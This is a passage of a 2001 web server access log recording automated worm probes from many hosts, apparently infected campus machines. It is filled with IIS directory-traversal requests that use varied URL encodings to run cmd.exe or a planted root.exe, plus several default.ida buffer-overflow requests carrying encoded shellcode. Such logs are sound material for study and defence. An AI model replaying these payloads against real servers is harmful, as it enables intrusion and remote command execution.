  9484. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9485. 20010919 08:03:44: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9486. 20010919 08:03:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9487. 20010919 08:03:45: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9488. 20010919 08:03:45: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9489. 20010919 08:08:09: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9490. 20010919 08:08:09: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9491. 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9492. 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9493. 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9494. 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9495. 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9496. 20010919 08:08:10: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9497. 20010919 08:08:10: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9498. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9499. 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9500. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9501. 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9502. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9503. 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9504. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9505. 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9506. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9507. 20010919 08:08:11: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9508. 20010919 08:08:11: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9509. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9510. 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9511. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9512. 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9513. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9514. 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9515. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9516. 20010919 08:08:12: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9517. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9518. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9519. 20010919 08:08:12: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9520. 20010919 08:08:12: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9521. 20010919 08:12:59: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9522. 20010919 08:13:19: depam.ee.columbia.edu [128.59.56.17] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9523. 20010919 08:18:39: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  9524. 20010919 08:19:04: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9525. 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9526. 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9527. 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9528. 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9529. 20010919 08:22:24: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9530. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9531. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9532. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9533. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9534. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9535. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9536. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9537. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9538. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9539. 20010919 08:22:25: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9540. 20010919 08:22:25:  [212.22.38.34] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9541. 20010919 08:23:53:  [212.22.38.34] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9542. 20010919 08:24:12:  [212.22.38.34] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9543. 20010919 08:24:30:  [212.22.38.34] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9544. 20010919 08:24:52:  [212.22.38.34] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9545. 20010919 08:25:11:  [212.22.38.34] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9546. 20010919 08:25:29:  [212.22.38.34] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9547. 20010919 08:25:48:  [212.22.38.34] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9548. 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9549. 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9550. 20010919 08:26:06: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9551. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9552. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9553. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9554. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9555. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9556. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9557. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9558. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9559. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9560. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9561. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9562. 20010919 08:26:07: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9563. 20010919 08:26:08: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9564. 20010919 08:26:08:  [212.22.38.34] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9565. 20010919 08:26:28:  [212.22.38.34] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9566. 20010919 08:26:47:  [212.22.38.34] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9567. 20010919 08:27:05:  [212.22.38.34] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9568. 20010919 08:27:24:  [212.22.38.34] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9569. 20010919 08:27:42:  [212.22.38.34] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9570. 20010919 08:28:01:  [212.22.38.34] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9571. 20010919 08:28:19:  [212.22.38.34] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9572. 20010919 08:28:38: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9573. 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9574. 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9575. 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9576. 20010919 08:32:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9577. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9578. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9579. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9580. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9581. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9582. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9583. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9584. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9585. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9586. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9587. 20010919 08:32:12: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9588. 20010919 08:32:12: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9589. 20010919 08:33:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9590. 20010919 08:33:29: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9591. 20010919 08:33:30: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9592. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9593. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9594. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9595. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9596. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9597. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9598. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9599. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9600. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9601. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9602. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9603. 20010919 08:33:31: dynamic-80-205.dyn.columbia.edu [128.59.80.205] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9604. 20010919 08:33:32: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9605. 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9606. 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9607. 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9608. 20010919 08:34:40: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9609. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9610. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9611. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9612. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9613. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9614. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9615. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9616. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9617. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9618. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9619. 20010919 08:34:41: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9620. 20010919 08:34:41: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9621. 20010919 08:35:51: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9622. 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9623. 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9624. 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9625. 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9626. 20010919 08:35:52: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9627. 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9628. 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9629. 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9630. 20010919 08:35:53: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9631. 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9632. 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9633. 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9634. 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9635. 20010919 08:35:54: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9636. 20010919 08:35:54: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  9637. 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  9638. 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9639. 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9640. 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9641. 20010919 08:39:23: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9642. 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9643. 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9644. 20010919 08:39:24: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9645. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9646. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9647. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  9648. 20010919 08:39:25: dynamic-54-99.dyn.columbia.edu [128.59.54.99] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
